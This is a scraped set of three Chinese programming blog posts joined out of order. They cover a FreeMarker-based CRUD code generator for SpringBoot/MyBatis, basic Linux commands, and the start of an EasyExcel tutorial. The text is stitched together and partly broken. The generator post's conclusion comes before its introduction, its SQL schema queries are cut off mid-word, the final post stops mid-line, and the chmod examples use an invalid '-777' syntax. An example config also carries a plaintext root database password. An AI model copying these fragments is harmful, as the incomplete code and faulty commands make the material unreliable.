判断数据库操作是否成功 * @param result 数据库操作返回影响条数 * @return boolean */ protected boolean returnBool(Integer result) { return null != result && result >= 1; } }在此,还封装来其他的类,例如 dto 公共类BaseDTO,分页类Pager,还有 id 请求类IdRequest。BaseDTO公共类public class BaseDTO implements Serializable { /** * 请求token */ private String token; /** * 当前页数 */ private Integer currPage = 1; /** * 每页记录数 */ private Integer pageSize = 20; /** * 分页参数(第几行) */ private Integer start; /** * 分页参数(行数) */ private Integer end; /** * 登录人ID */ private String loginUserId; /** * 登录人名称 */ private String loginUserName; public String getToken() { return token; } public BaseDTO setToken(String token) { this.token = token; return this; } public Integer getCurrPage() { return currPage; } public BaseDTO setCurrPage(Integer currPage) { this.currPage = currPage; return this; } public Integer getPageSize() { return pageSize; } public BaseDTO setPageSize(Integer pageSize) { this.pageSize = pageSize; return this; } public Integer getStart() { if (this.currPage != null && this.currPage > 0) { start = (currPage - 1) * getPageSize(); return start; } return start == null ? 0 : start; } public BaseDTO setStart(Integer start) { this.start = start; return this; } public Integer getEnd() { return getPageSize(); } public BaseDTO setEnd(Integer end) { this.end = end; return this; } public String getLoginUserId() { return loginUserId; } public BaseDTO setLoginUserId(String loginUserId) { this.loginUserId = loginUserId; return this; } public String getLoginUserName() { return loginUserName; } public BaseDTO setLoginUserName(String loginUserName) { this.loginUserName = loginUserName; return this; } }Pager分页类public class Pager<T extends Serializable> implements Serializable { private static final long serialVersionUID = -6557244954523041805L; /** * 当前页数 */ private int currPage; /** * 每页记录数 */ private int pageSize; /** * 总页数 */ private int totalPage; /** * 总记录数 */ private int totalCount; /** * 列表数据 */ private List<T> list; public Pager(int currPage, int pageSize) { this.currPage = currPage; this.pageSize = pageSize; } public Pager(int currPage, int pageSize, int totalCount, List<T> list) { this.currPage = currPage; this.pageSize = pageSize; this.totalPage = (int) Math.ceil((double) totalCount / pageSize);; this.totalCount = totalCount; this.list = list; } public int getCurrPage() { return currPage; } public Pager setCurrPage(int currPage) { this.currPage = currPage; return this; } public int getPageSize() { return pageSize; } public Pager setPageSize(int pageSize) { this.pageSize = pageSize; return this; } public int getTotalPage() { return totalPage; } public Pager setTotalPage(int totalPage) { this.totalPage = totalPage; return this; } public int getTotalCount() { return totalCount; } public Pager setTotalCount(int totalCount) { this.totalCount = totalCount; return this; } public List<T> getList() { return list; } public Pager setList(List<T> list) { this.list = list; return this; } }IdRequest公共请求类public class IdRequest extends BaseDTO { private Long id; public Long getId() { return id; } public IdRequest setId(Long id) { this.id = id; return this; } }2.3、编写代码生成器前两部分主要介绍的是如何获取对应的表结构,以及代码器运行之前的准备工作。其实代码生成器,很简单,其实就是一个main方法,没有想象中的那么复杂。处理思路也很简单,过程如下:1、定义基本变量,例如包名路径、模块名、表名、转换后的实体类、以及数据库连接配置,我们可以将其写入配置文件2、读取配置文件,封装对应的模板中定义的变量3、根据对应的模板文件和变量,生成对应的java文件2.3.1、创建配置文件,定义变量小编我用的是application.properties配置文件来定义变量,这个没啥规定,你也可以自定义文件名,内容如下:#包前缀 packageNamePre=com.example.generator #模块名称 moduleName=test #表 tableName=test_db #实体类名称 entityName=TestEntity #主键ID primaryId=id #作者 authorName=pzblog #数据库名称 databaseName=yjgj_base #数据库服务器IP地址 ipName=127.0.0.1 #数据库服务器端口 portName=3306 #用户名 userName=root #密码 passWord=123456 #文件输出路径,支持自定义输出路径,如果为空,默认取当前工程的src/main/java路径 outUrl=2.3.2、根据模板生成对应的java代码首先,读取配置文件变量public class SystemConstant { private static Properties properties = new Properties(); static { try { // 加载上传文件设置参数:配置文件 properties.load(SystemConstant.class.getClassLoader().getResourceAsStream("application.properties")); } catch (IOException e) { e.printStackTrace(); } } public static final String tableName = properties.getProperty("tableName"); public static final String entityName = properties.getProperty("entityName"); public static final String packageNamePre = properties.getProperty("packageNamePre"); public static final String outUrl = properties.getProperty("outUrl"); public static final String databaseName = properties.getProperty("databaseName"); public static final String ipName = properties.getProperty("ipName"); public static final String portName = properties.getProperty("portName"); public static final String userName = properties.getProperty("userName"); public static final String passWord = properties.getProperty("passWord"); public static final String authorName = properties.getProperty("authorName"); public static final String primaryId = properties.getProperty("primaryId"); public static final String moduleName = properties.getProperty("moduleName"); }然后,封装对应的模板中定义的变量public class CodeService { public void generate(Map<String, Object> templateData) { //包前缀 String packagePreAndModuleName = getPackagePreAndModuleName(templateData); //支持对应实体插入在前面,需要带上%s templateData.put("entityPackageName", String.format(packagePreAndModuleName + ".entity", templateData.get("entityName").toString().toLowerCase())); templateData.put("dtoPackageName", String.format(packagePreAndModuleName + ".dto", templateData.get("entityName").toString().toLowerCase())); templateData.put("voPackageName", String.format(packagePreAndModuleName + ".vo", templateData.get("entityName").toString().toLowerCase())); templateData.put("daoPackageName", String.format(packagePreAndModuleName + ".dao", templateData.get("entityName").toString().toLowerCase())); templateData.put("mapperPackageName", packagePreAndModuleName + ".mapper"); templateData.put("servicePackageName", String.format(packagePreAndModuleName + ".service", templateData.get("entityName").toString().toLowerCase())); templateData.put("serviceImplPackageName", String.format(packagePreAndModuleName + ".service.impl", templateData.get("entityName").toString().toLowerCase())); templateData.put("controllerPackageName", String.format(packagePreAndModuleName + ".web", templateData.get("entityName").toString().toLowerCase())); templateData.put("apiTestPackageName", String.format(packagePreAndModuleName + ".junit", templateData.get("entityName").toString().toLowerCase())); templateData.put("currentTime", new SimpleDateFormat("yyyy-MM-dd").format(new Date())); //======================生成文件配置====================== try { // 生成Entity String entityName = String.format("%s", templateData.get("entityName").toString()); generateFile("entity.ftl", templateData, templateData.get("entityPackageName").toString(), entityName+".java"); // 生成dto String dtoName = String.format("%sDTO", templateData.get("entityName").toString()); templateData.put("dtoName", dtoName); generateFile("dto.ftl", templateData, templateData.get("dtoPackageName").toString(), dtoName + ".java"); // 生成VO String voName = String.format("%sVO", templateData.get("entityName").toString()); templateData.put("voName", voName); generateFile("vo.ftl", templateData, templateData.get("voPackageName").toString(), voName + ".java"); // 生成DAO String daoName = String.format("%sDao", templateData.get("entityName").toString()); templateData.put("daoName", daoName); generateFile("dao.ftl", templateData, templateData.get("daoPackageName").toString(), daoName + ".java"); // 生成Mapper String mapperName = String.format("%sMapper", templateData.get("entityName").toString()); generateFile("mapper.ftl", templateData, templateData.get("mapperPackageName").toString(), mapperName+".xml"); // 生成Service String serviceName = String.format("%sService", templateData.get("entityName").toString()); templateData.put("serviceName", serviceName); generateFile("service.ftl", templateData, templateData.get("servicePackageName").toString(), serviceName + ".java"); // 生成ServiceImpl String serviceImplName = String.format("%sServiceImpl", templateData.get("entityName").toString()); templateData.put("serviceImplName", serviceImplName); generateFile("serviceImpl.ftl", templateData, templateData.get("serviceImplPackageName").toString(), serviceImplName + ".java"); // 生成Controller String controllerName = String.format("%sController", templateData.get("entityName").toString()); templateData.put("controllerName", controllerName); generateFile("controller.ftl", templateData, templateData.get("controllerPackageName").toString(), controllerName + ".java"); // // 生成junit测试类 // String apiTestName = String.format("%sApiTest", templateData.get("entityName").toString()); // templateData.put("apiTestName", apiTestName); // generateFile("test.ftl", templateData, templateData.get("apiTestPackageName").toString(), // apiTestName + ".java"); } catch (Exception e) { e.printStackTrace(); } } /** * 生成文件 * @param templateName 模板名称 * @param templateData 参数名 * @param packageName 包名 * @param fileName 文件名 */ public void generateFile(String templateName, Map<String, Object> templateData, String packageName, String fileName) { templateData.put("fileName", fileName); DaseService dbService = new DaseService(templateData); // 获取数据库参数 if("entity.ftl".equals(templateName) || "mapper.ftl".equals(templateName)){ dbService.getAllColumns(templateData); } try { // 默认生成文件的路径 FreeMakerUtil freeMakerUtil = new FreeMakerUtil(); freeMakerUtil.generateFile(templateName, templateData, packageName, fileName); } catch (Exception e) { e.printStackTrace(); } } /** * 封装包名前缀 * @return */ private String getPackagePreAndModuleName(Map<String, Object> templateData){ String packageNamePre = templateData.get("packageNamePre").toString(); String moduleName = templateData.get("moduleName").toString(); if(StringUtils.isNotBlank(moduleName)){ return packageNamePre + "." + moduleName; } return packageNamePre; } }接着,获取模板文件,并生成相应的模板文件public class FreeMakerUtil { /** * 根据Freemark模板,生成文件 * @param templateName:模板名 * @param root:数据原型 * @throws Exception */ public void generateFile(String templateName, Map<String, Object> root, String packageName, String fileName) throws Exception { FileOutputStream fos=null; Writer out =null; try { // 通过一个文件输出流,就可以写到相应的文件中,此处用的是绝对路径 String entityName = (String) root.get("entityName"); String fileFullName = String.format(fileName, entityName); packageName = String.format(packageName, entityName.toLowerCase()); String fileStylePackageName = packageName.replaceAll("\\.", "/"); File file = new File(root.get("outUrl").toString() + "/" + fileStylePackageName + "/" + fileFullName); if (!file.getParentFile().exists()) { file.getParentFile().mkdirs(); } file.createNewFile(); Template template = getTemplate(templateName); fos = new FileOutputStream(file); out = new OutputStreamWriter(fos); template.process(root, out); out.flush(); } catch (Exception e) { e.printStackTrace(); } finally { try { if (fos != null){ fos.close(); } if(out != null){ out.close(); } } catch (IOException e) { e.printStackTrace(); } } } /** * * 获取模板文件 * * @param name * @return */ public Template getTemplate(String name) { try { Configuration cfg = new Configuration(Configuration.VERSION_2_3_23); cfg.setClassForTemplateLoading(this.getClass(), "/ftl"); Template template = cfg.getTemplate(name); return template; } catch (IOException e) { e.printStackTrace(); } return null; } }最后,我们编写一个main方法,看看运行之后的效果public class GeneratorMain { public static void main(String[] args) { System.out.println("生成代码start......"); //获取页面或者配置文件的参数 Map<String, Object> templateData = new HashMap<String, Object>(); templateData.put("tableName", SystemConstant.tableName); System.out.println("表名=="+ SystemConstant.tableName); templateData.put("entityName", SystemConstant.entityName); System.out.println("实体类名称=="+ SystemConstant.entityName); templateData.put("packageNamePre", SystemConstant.packageNamePre); System.out.println("包名前缀=="+ SystemConstant.packageNamePre); //支持自定义输出路径 if(StringUtils.isNotBlank(SystemConstant.outUrl)){ templateData.put("outUrl", SystemConstant.outUrl); } else { String path = GeneratorMain.class.getClassLoader().getResource("").getPath() + "../../src/main/java"; templateData.put("outUrl", path); } System.out.println("生成文件路径为=="+ templateData.get("outUrl")); templateData.put("authorName", SystemConstant.authorName); System.out.println("以后代码出问题找=="+ SystemConstant.authorName); templateData.put("databaseName", SystemConstant.databaseName); templateData.put("ipName", SystemConstant.ipName); templateData.put("portName", SystemConstant.portName); templateData.put("userName", SystemConstant.userName); templateData.put("passWord", SystemConstant.passWord); //主键ID templateData.put("primaryId", SystemConstant.primaryId); //模块名称 templateData.put("moduleName", SystemConstant.moduleName); CodeService dataService = new CodeService(); try { //生成代码文件 dataService.generate(templateData); } catch (Exception e) { e.printStackTrace(); } System.out.println("生成代码end......"); } }结果如下:生成的 Controller 层代码如下/** * * @ClassName: TestEntityController * @Description: 外部访问接口 * @author pzblog * @date 2020-11-16 * */ @RestController @RequestMapping("/testEntity") public class TestEntityController { @Autowired private TestEntityService testEntityService; /** * 分页列表查询 * @param request */ @PostMapping(value = "/getPage") public Pager<TestEntityVO> getPage(@RequestBody TestEntityDTO request){ return testEntityService.getPage(request); } /** * 查询详情 * @param request */ @PostMapping(value = "/getDetail") public TestEntityVO getDetail(@RequestBody IdRequest request){ TestEntity source = testEntityService.selectById(request.getId()); if(Objects.nonNull(source)){ TestEntityVO result = new TestEntityVO(); BeanUtils.copyProperties(source, result); return result; } return null; } /** * 新增操作 * @param request */ @PostMapping(value = "/save") public void save(TestEntityDTO request){ TestEntity entity = new TestEntity(); BeanUtils.copyProperties(request, entity); testEntityService.insert(entity); } /** * 编辑操作 * @param request */ @PostMapping(value = "/edit") public void edit(TestEntityDTO request){ TestEntity entity = new TestEntity(); BeanUtils.copyProperties(request, entity); testEntityService.updateById(entity); } /** * 删除操作 * @param request */ @PostMapping(value = "/delete") public void delete(IdRequest request){ testEntityService.deleteById(request.getId()); } }至此,一张单表的90%的基础工作量全部开发完毕!三、总结代码生成器,在实际的项目开发中应用非常的广,本文主要以freemaker模板引擎为基础,开发的一套全自动代码生成器,一张单表的CRUD,只需要5秒钟就可以完成!最后多说一句,如果你是项目中的核心开发,那么掌握代码生成器的规则,对项目开发效率的提升会有非常直观的帮助!
一、简介各位网友,大家好,我是阿粉!最近刚入职一个新团队,还没来得及熟悉业务,甲方爸爸就要求项目要在2个月内完成开发并上线!本想着往后推迟1个月在交付,但是甲方爸爸不同意,只能赶鸭子上架了!然后根据业务需求,设计出了大概30多张表,如果这30多张表,全靠开发人员手写 crud,开发所需的时间肯定会大大的延长,甚至可能直接会影响交付时间!于是就想着,能不能通过代码生成器一键搞定全部的 crud,开发团队只需要根据业务需求编写逻辑代码就可以?本来计划是用mybatis-plus的,但是生成的代码,根据现有的框架标准,很多代码也需要自己改,有些地方还不如自己手写用的舒服,因此就决定手写一套代码生成器!很多新手会觉得代码生成器很个高深的东西。其实不然,一点都不高深,当你看完本文的时候,你会完全掌握代码生成器的逻辑,甚至可以根据自己的项目情况,进行深度定制。废话也不多说了,直接代码撸上!二、实现思路下面我就以SpringBoot项目为例,数据持久化操作采用Mybatis,数据库采用Mysql,编写一个自动生成增、删、改、查等基础功能的代码生成器,内容包括controller、service、dao、entity、dto、vo等信息。实现思路如下:第一步:获取表字段名称、类型、表注释等信息第二步:基于 freemarker 模板引擎,编写相应的模板第三步:根据对应的模板,生成相应的 java 代码2.1、获取表结构首先我们创建一张test_db表,脚本如下:CREATE TABLE test_db ( id bigint(20) unsigned NOT NULL COMMENT '主键ID', name varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '名称', is_delete tinyint(4) NOT NULL DEFAULT '0' COMMENT '是否删除 1:已删除;0:未删除', create_time datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间', update_time datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间', PRIMARY KEY (id), KEY idx_create_time (create_time) USING BTREE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='测试表';表创建完成之后,基于test_db表,我们查询对应的表结果字段名称、类型、备注信息,这些信息收集将用于后续进行代码生成器所使用!# 获取对应表结构 SELECT column_name, data_type, column_comment FROM information_sc同时,获取对应表注释,用于生成备注信息!# 获取对应表注释 SELECT TABLE_COMMENT FROM INFORMATION_SCHEMA.TABLES WHERE table_sc2.2、编写模板编写mapper模板,涵盖新增、修改、删除、查询等信息<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd" > <mapper namespace="${daoPackageName}.${daoName}"> <!--BaseResultMap--> <resultMap id="BaseResultMap" type="${entityPackageName}.${entityName}"> <#list columns as pro> <#if pro.proName == primaryId> <id column="${primaryId}" property="${primaryId}" jdbcType="${pro.fieldType}"/> <#else> <result column="${pro.fieldName}" property="${pro.proName}" jdbcType="${pro.fieldType}"/> </#if> </#list> </resultMap> <!--Base_Column_List--> <sql id="Base_Column_List"> <#list columns as pro> <#if pro_index == 0>${pro.fieldName}<#else>,${pro.fieldName}</#if> </#list> </sql> <!--批量插入--> <insert id="insertList" parameterType="java.util.List"> insert into ${tableName} ( <#list columns as pro> <#if pro_index == 0>${pro.fieldName},<#elseif pro_index == 1>${pro.fieldName}<#else>,${pro.fieldName}</#if> </#list> ) values <foreach collection ="list" item="obj" separator =","> <trim prefix=" (" suffix=")" suffixOverrides=","> <#list columns as pro> ${r"#{obj." + pro.proName + r"}"}, </#list> </trim> </foreach > </insert> <!--按需新增--> <insert id="insertPrimaryKeySelective" parameterType="${entityPackageName}.${entityName}"> insert into ${tableName} <trim prefix="(" suffix=")" suffixOverrides=","> <#list columns as pro> <if test="${pro.proName} != null"> ${pro.fieldName}, </if> </#list> </trim> <trim prefix="values (" suffix=")" suffixOverrides=","> <#list columns as pro> <if test="${pro.proName} != null"> ${r"#{" + pro.proName + r",jdbcType=" + pro.fieldType +r"}"}, </if> </#list> </trim> </insert> <!-- 按需修改--> <update id="updatePrimaryKeySelective" parameterType="${entityPackageName}.${entityName}"> update ${tableName} <set> <#list columns as pro> <#if pro.fieldName != primaryId && pro.fieldName != primaryId> <if test="${pro.proName} != null"> ${pro.fieldName} = ${r"#{" + pro.proName + r",jdbcType=" + pro.fieldType +r"}"}, </if> </#if> </#list> </set> where ${primaryId} = ${r"#{" + "${primaryId}" + r",jdbcType=BIGINT}"} </update> <!-- 按需批量修改--> <update id="updateBatchByIds" parameterType="java.util.List"> update ${tableName} <trim prefix="set" suffixOverrides=","> <#list columns as pro> <#if pro.fieldName != primaryId && pro.fieldName != primaryId> <trim prefix="${pro.fieldName}=case" suffix="end,"> <foreach collection="list" item="obj" index="index"> <if test="obj.${pro.proName} != null"> when id = ${r"#{" + "obj.id" + r"}"} then ${r"#{obj." + pro.proName + r",jdbcType=" + pro.fieldType +r"}"} </if> </foreach> </trim> </#if> </#list> </trim> where <foreach collection="list" separator="or" item="obj" index="index" > id = ${r"#{" + "obj.id" + r"}"} </foreach> </update> <!-- 删除--> <delete id="deleteByPrimaryKey" parameterType="java.lang.Long"> delete from ${tableName} where ${primaryId} = ${r"#{" + "${primaryId}" + r",jdbcType=BIGINT}"} </delete> <!-- 查询详情 --> <select id="selectByPrimaryKey" resultMap="BaseResultMap" parameterType="java.lang.Long"> select <include refid="Base_Column_List"/> from ${tableName} where ${primaryId} = ${r"#{" + "${primaryId}" + r",jdbcType=BIGINT}"} </select> <!-- 按需查询 --> <select id="selectByPrimaryKeySelective" resultMap="BaseResultMap" parameterType="${entityPackageName}.${entityName}"> select <include refid="Base_Column_List"/> from ${tableName} </select> <!-- 批量查询--> <select id="selectByIds" resultMap="BaseResultMap" parameterType="java.util.List"> select <include refid="Base_Column_List"/> from ${tableName} <where> <if test="ids != null"> and ${primaryId} in <foreach item="item" index="index" collection="ids" open="(" separator="," close=")"> ${r"#{" + "item" + r"}"} </foreach> </if> </where> </select> <!-- 根据条件查询 --> <select id="selectByMap" resultMap="BaseResultMap" parameterType="java.util.Map"> select <include refid="Base_Column_List"/> from ${tableName} </select> <!-- 查询${entityName}总和 --> <select id="countPage" resultType="int" parameterType="${dtoPackageName}.${dtoName}"> select count(${primaryId}) from ${tableName} </select> <!-- 查询${entityName}列表 --> <select id="selectPage" resultMap="BaseResultMap" parameterType="${dtoPackageName}.${dtoName}"> select <include refid="Base_Column_List"/> from ${tableName} limit ${r"#{" + "start,jdbcType=INTEGER" + r"}"},${r"#{" + "end,jdbcType=INTEGER" + r"}"} </select> </mapper>编写dao数据访问模板package ${daoPackageName}; import com.example.generator.core.BaseMapper; import java.util.List; import ${entityPackageName}.${entityName}; import ${dtoPackageName}.${dtoName}; /** * * @ClassName: ${daoName} * @Description: 数据访问接口 * @author ${authorName} * @date ${currentTime} * */ public interface ${daoName} extends BaseMapper<${entityName}>{ int countPage(${dtoName} ${dtoName?uncap_first}); List<${entityName}> selectPage(${dtoName} ${dtoName?uncap_first}); }编写service服务接口模板package ${servicePackageName}; import com.example.generator.core.BaseService; import com.example.generator.common.Pager; import ${voPackageName}.${voName}; import ${dtoPackageName}.${dtoName}; import ${entityPackageName}.${entityName}; /** * * @ClassName: ${serviceName} * @Description: ${entityName}业务访问接口 * @author ${authorName} * @date ${currentTime} * */ public interface ${serviceName} extends BaseService<${entityName}> { /** * 分页列表查询 * @param request */ Pager<${voName}> getPage(${dtoName} request); }编写serviceImpl服务实现类模板package ${serviceImplPackageName}; import com.example.generator.common.Pager; import com.example.generator.core.BaseServiceImpl; import com.example.generator.test.service.TestEntityService; import org.springframework.beans.BeanUtils; import org.springframework.stereotype.Service; import org.springframework.util.CollectionUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.ArrayList; import java.util.List; import ${daoPackageName}.${daoName}; import ${entityPackageName}.${entityName}; import ${dtoPackageName}.${dtoName}; import ${voPackageName}.${voName}; @Service public class ${serviceImplName} extends BaseServiceImpl<${daoName}, ${entityName}> implements ${serviceName} { private static final Logger log = LoggerFactory.getLogger(${serviceImplName}.class); /** * 分页列表查询 * @param request */ public Pager<${voName}> getPage(${dtoName} request) { List<${voName}> resultList = new ArrayList(); int count = super.baseMapper.countPage(request); List<${entityName}> dbList = count > 0 ? super.baseMapper.selectPage(request) : new ArrayList<>(); if(!CollectionUtils.isEmpty(dbList)){ dbList.forEach(source->{ ${voName} target = new ${voName}(); BeanUtils.copyProperties(source, target); resultList.add(target); }); } return new Pager(request.getCurrPage(), request.getPageSize(), count, resultList); } }编写controller控制层模板package ${controllerPackageName}; import com.example.generator.common.IdRequest; import com.example.generator.common.Pager; import org.springframework.beans.BeanUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import java.util.Objects; import ${servicePackageName}.${serviceName}; import ${entityPackageName}.${entityName}; import ${dtoPackageName}.${dtoName}; import ${voPackageName}.${voName}; /** * * @ClassName: ${controllerName} * @Description: 外部访问接口 * @author ${authorName} * @date ${currentTime} * */ @RestController @RequestMapping("/${entityName?uncap_first}") public class ${controllerName} { @Autowired private ${serviceName} ${serviceName?uncap_first}; /** * 分页列表查询 * @param request */ @PostMapping(value = "/getPage") public Pager<${voName}> getPage(@RequestBody ${dtoName} request){ return ${serviceName?uncap_first}.getPage(request); } /** * 查询详情 * @param request */ @PostMapping(value = "/getDetail") public ${voName} getDetail(@RequestBody IdRequest request){ ${entityName} source = ${serviceName?uncap_first}.selectById(request.getId()); if(Objects.nonNull(source)){ ${voName} result = new ${voName}(); BeanUtils.copyProperties(source, result); return result; } return null; } /** * 新增操作 * @param request */ @PostMapping(value = "/save") public void save(${dtoName} request){ ${entityName} entity = new ${entityName}(); BeanUtils.copyProperties(request, entity); ${serviceName?uncap_first}.insert(entity); } /** * 编辑操作 * @param request */ @PostMapping(value = "/edit") public void edit(${dtoName} request){ ${entityName} entity = new ${entityName}(); BeanUtils.copyProperties(request, entity); ${serviceName?uncap_first}.updateById(entity); } /** * 删除操作 * @param request */ @PostMapping(value = "/delete") public void delete(IdRequest request){ ${serviceName?uncap_first}.deleteById(request.getId()); } }编写entity实体类模板package ${entityPackageName}; import java.io.Serializable; import java.math.BigDecimal; import java.util.Date; /** * * @ClassName: ${entityName} * @Description: ${tableDes!}实体类 * @author ${authorName} * @date ${currentTime} * */ public class ${entityName} implements Serializable { private static final long serialVersionUID = 1L; <#--属性遍历--> <#list columns as pro> <#--<#if pro.proName != primaryId && pro.proName != 'remarks' && pro.proName != 'createBy' && pro.proName != 'createDate' && pro.proName != 'updateBy' && pro.proName != 'updateDate' && pro.proName != 'delFlag' && pro.proName != 'currentUser' && pro.proName != 'page' && pro.proName != 'sqlMap' && pro.proName != 'isNewRecord' ></#if>--> /** * ${pro.proDes!} */ private ${pro.proType} ${pro.proName}; </#list> <#--属性get||set方法--> <#list columns as pro> public ${pro.proType} get${pro.proName?cap_first}() { return this.${pro.proName}; } public ${entityName} set${pro.proName?cap_first}(${pro.proType} ${pro.proName}) { this.${pro.proName} = ${pro.proName}; return this; } </#list> }编写dto实体类模板package ${dtoPackageName}; import com.example.generator.core.BaseDTO; import java.io.Serializable; /** * @ClassName: ${dtoName} * @Description: 请求实体类 * @author ${authorName} * @date ${currentTime} * */ public class ${dtoName} extends BaseDTO { }
现在面试不光你得会Java,你至少还得懂点运维,毕竟项目部署测试啥的,你得自己会弄吧。既然这样,那么就得从最基础的地方开始,装Linux系统,别说Linux系统没啥用,毕竟你已经学会了Java,不想做运维的话,哪怕你只是会上传文件,打包,解压,启动Tomcat的话,你都要会Linux的命令才能进行操作不是么?1.什么Linux系统Linux,全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,其内核由林纳斯·本纳第克特·托瓦兹于1991年10月5日首次发布,它主要受到Minix和Unix思想的启发,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统。其实我们画重点,核心就是不要钱,开源,免费,功能还强大,那肯定是我们大家首选的东西了。学技术得先看点有趣的东西,那就是Linux的创始作者。对就是这个人,在1991年,还在上大二的托瓦兹在互联网上放出了他自己编写的操作系统 Linxus 0.01 版本。于是就有了最开始的Linux,以至于以后通过开源社区的不断补充,使其从当年一个人的“小项目”日益壮大起来。而之所以Linux能够获得这些资源,其实全依靠 Linux 采用的授权协议——GPL。行了,这了解了Linux的创始和来源,我们就来安装一下Linux操作系统吧。2.安装Linux系统在安装Linux系统的时候,首先我们需要一个介质工具,那就是VMware Workstation,虚拟机,安装好这个之后,就相当于是在你的电脑上装了一个虚拟计算机的软件,阿粉相信,百分之九十以上的人,电脑里面都会有这个,它提供用户可在单一的桌面上同时运行不同的操作系统,和进行开发、测试、部署新的应用程序的最佳解决方案。2.1 安装VMware Workstation大家可以在公众号回复【虚拟机】获取一下虚拟机的安装包和下载地址,还有对应的激活工具。1.下载完成,直接安装,安装阿粉就不给大家讲了,毕竟都会,装Linux这个阿粉更不用说了,百度上教程非常的详细,但是阿粉比较推荐的就是自己整一个云服务器,想换系统,直接一键安排2.3 云服务器如果有条件的,大家肯定可以使用阿里云或者华为云或者百度云等各种大厂出品的云服务器来进行使用,毕竟人家的服务器也是支持你在任何地方进行访问的,只要你有账号和密码,所以阿粉也是整了一个云服务器来进行测试。3.Liunx 虚拟机常用命令解读linux没有盘符的概念,一切都是文件.linux目录结构:/ 系统的家 /root 超级管理员的家 /home 普通用户的家 /etc 系统配置文件 (环境变量,防火墙) /usr 存放所有用户共享的文件(软件) 磁盘管理:最常用的就是查看文件多少的命令了,ls 显示当前目录下文件或子目录-a 查看所有文件(包含隐藏文件)-l 查询文件的明细ls -al 查询所有文件明细ll -a 查询所有文件明细 cd 切换目录/ 系统的根~ 回自己的家空格 回自己的家.. 上一级- 上次访问的路径 pwd 显示当前工作的目录mkdir 创建目录-p 当父目录不存在时,先创建父目录再创建子目录-v 显示创建的过程 touch 创建文件文件浏览:cat 命令 查看文件所有内容less 命令 分页查看-N 显示行号-m 百分比d 下一页b 上一页q 退出 tail 名称 查看日志文件,查看的文件末尾内容.默认查询文件末尾的内容-f 循环递归tail -f 文件名 这个命令比如我们需要看日志的时候,就不用再去使用 XFTP 这样的工具去把日志弄到本地来看了,直接就 tail -99f xxxx.log文件操作:cp 复制-r 循环递归 这种一般是文件夹的操作cp -r 目录/文件 目标目录 mv 重命名或移动-f 强制覆盖 rm 删除-f 强制覆盖rm -rf 目录/文件(慎用) find 查询-name 根据文件名查找find 目标目录 -name '条件' 文档编辑这是我们使用过程中最重要的一点,因为你需要修改配置文件的时候经常会是用到文档编辑的命令,所以这块的内容是你最需要掌握的。vi/vim 修改vi: 修改文件,但是显示字体是白色vim: 修改文件,但是关键字高亮显示这时候需要的就是我们需要熟记的一些命令,能够帮我们剩下很多的时间,一般模式:yy 复制光标所在行p 粘贴dd 删除光标所在行x 删除光标所在的字符 插入模式:a:当前光标后插入i:当前光标前插入o:下一行插入 底行模式:: wq 保存并退出: q! 不保存退出: w 保存不退出 grep 查找过滤一般我们使用grep 命令的时候,都是搭配着 ps命令一起,去查看我们需要的一些进程信息,比如说:ps -ef|grep tomcat 查看tomcat进程kill 杀死进程-9 强制杀死进程 压缩和解压缩:tar -zcvf 压缩文件名 目录/文件 (压缩)`tar -zxvf` 压缩文件名 (解缩)--默认解压到当前目录 `tar -zxvf` 压缩文件名 -C 目标目录 (解缩)--默认解压到指定目录下chmod 文件授权权限标识位(10位) 第一位: 表示文件的类型 - 文件 d 目录 l 链接 2-4位: 表示当前用户的权限 5-7位: 表示当前用户所属组权限 8-10位: 其他组的权限 我们一般常用的组合就是那么几种:chmod -777 给所有为用户授权(所有权限)chmod -775 给当前用户和所属组添加所有权限,其它组可读、可执行权限 一般知道上面的权限这点内容就差不多了,毕竟咱们干开发又不是专职 干运维的。
一、简介各位网友,大家好,我是阿粉!在实际的业务系统开发过程中,操作 Excel 实现数据的导入导出基本上是个非常常见的需求。之前,我们有介绍一款非常好用的工具:EasyPoi,有读者提出在数据量大的情况下,EasyPoi 会占用内存大,性能不够好,严重的时候,还会出现内存异常的现象。今天我给大家推荐一款性能更好的 Excel 导入导出工具:EasyExcel,希望对大家有所帮助!easyexcel 是阿里开源的一款 Excel导入导出工具,具有处理速度快、占用内存小、使用方便的特点,底层逻辑也是基于 apache poi 进行二次开发的,目前的应用也是非常广!相比 EasyPoi,EasyExcel 的处理数据性能非常高,读取 75M (46W行25列) 的Excel,仅需使用 64M 内存,耗时 20s,极速模式还可以更快!废话也不多说了,下面直奔主题!二、实践在 SpringBoot 项目中集成 EasyExcel 其实非常简单,仅需一个依赖即可。<!--EasyExcel相关依赖--> <dependency> <groupId>com.alibaba</groupId> <artifactId>easyexcel</artifactId> <version>3.0.5</version> </dependency>EasyExcel 的导出导入支持两种方式进行处理第一种是通过实体类注解方式来生成文件和反解析文件数据映射成对象第二种是通过动态参数化生成文件和反解析文件数据下面我们以用户信息的导出导入为例,分别介绍两种处理方式。简单导出首先,我们只需要创建一个UserEntity用户实体类,然后添加对应的注解字段即可,示例代码如下:public class UserWriteEntity { @ExcelProperty(value = "姓名") private String name; @ExcelProperty(value = "年龄") private int age; @DateTimeFormat("yyyy-MM-dd HH:mm:ss") @ExcelProperty(value = "操作时间") private Date time; //set、get... }然后,使用 EasyExcel 提供的EasyExcel工具类,即可实现文件的导出。public static void main(String[] args) throws FileNotFoundException { List<UserWriteEntity> dataList = new ArrayList<>(); for (int i = 0; i < 10; i++) { UserWriteEntity userEntity = new UserWriteEntity(); userEntity.setName("张三" + i); userEntity.setAge(20 + i); userEntity.setTime(new Date(System.currentTimeMillis() + i)); dataList.add(userEntity); } //定义文件输出位置 FileOutputStream outputStream = new FileOutputStream(new 